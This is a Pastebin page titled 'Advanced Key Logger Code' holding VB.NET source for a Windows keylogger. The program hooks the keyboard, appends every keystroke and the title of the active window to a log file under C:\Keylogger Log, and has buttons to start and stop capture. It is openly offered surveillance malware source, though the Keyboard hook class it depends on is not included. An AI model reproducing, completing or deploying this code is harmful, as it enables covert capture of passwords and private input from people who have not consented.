Advertisement
TheVideoVolcano

Advanced Key Logger Code

Mar 22nd, 2013
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.70 KB | None | 0 0
  1. Imports System.IO
  2. Imports Microsoft.Win32
  3.  
  4. Public Class Form1
  5.     Dim WithEvents K As New Keyboard
  6.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 ' This was the missing int32.
  7.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal ipstring As String, ByVal cch As Int32) As Int32
  8.     Dim strin As String = Nothing
  9.  
  10.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  11.         K.DiposeHook()
  12.     End Sub
  13.  
  14.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  15.         TextBox1.Text = TextBox1.Text + Now()
  16.         IO.Directory.CreateDirectory("C:\Keylogger Log")
  17.         IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "------------------------------------------------------------------" + vbNewLine + "Keylogged Strokes - " + Now() + vbNewLine + "------------------------------------------------------------------" + vbNewLine)
  18.         K.CreateHook()
  19.         Timer1.Start()
  20.  
  21.     End Sub
  22.  
  23.     Private Sub K_Down(ByVal Key As String) Handles K.Down
  24.         TextBox1.Text &= Key
  25.         IO.File.AppendAllText("C:\Keylogger Log\log.txt", Key)
  26.     End Sub
  27.  
  28.     Private Function GetActiveWindowTitle() As String
  29.         Dim MyStr As String
  30.         MyStr = New String(Chr(0), 100)
  31.         GetWindowText(GetForegroundWindow, MyStr, 100) 'Error at this line says: MarshalDirectiveException was unhandled 'PInvoke restriction: cannot return variants, this was due to a missing "int32".
  32.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  33.         Return MyStr
  34.     End Function
  35.  
  36.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  37.         If strin <> GetActiveWindowTitle() Then
  38.             TextBox1.Text = TextBox1.Text + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine
  39.             IO.File.AppendAllText("C:\Keylogger Log\log.txt", vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine)
  40.             strin = GetActiveWindowTitle()
  41.         End If
  42.     End Sub
  43.  
  44.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  45.         K.CreateHook()
  46.         Timer1.Start()
  47.     End Sub
  48.  
  49.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  50.         K.DiposeHook()
  51.         Timer1.Stop()
  52.     End Sub
  53.  
  54.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  55.         IO.File.AppendAllText("C:\Keylogger Log\log.txt", TextBox1.Text)
  56.     End Sub
  57. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement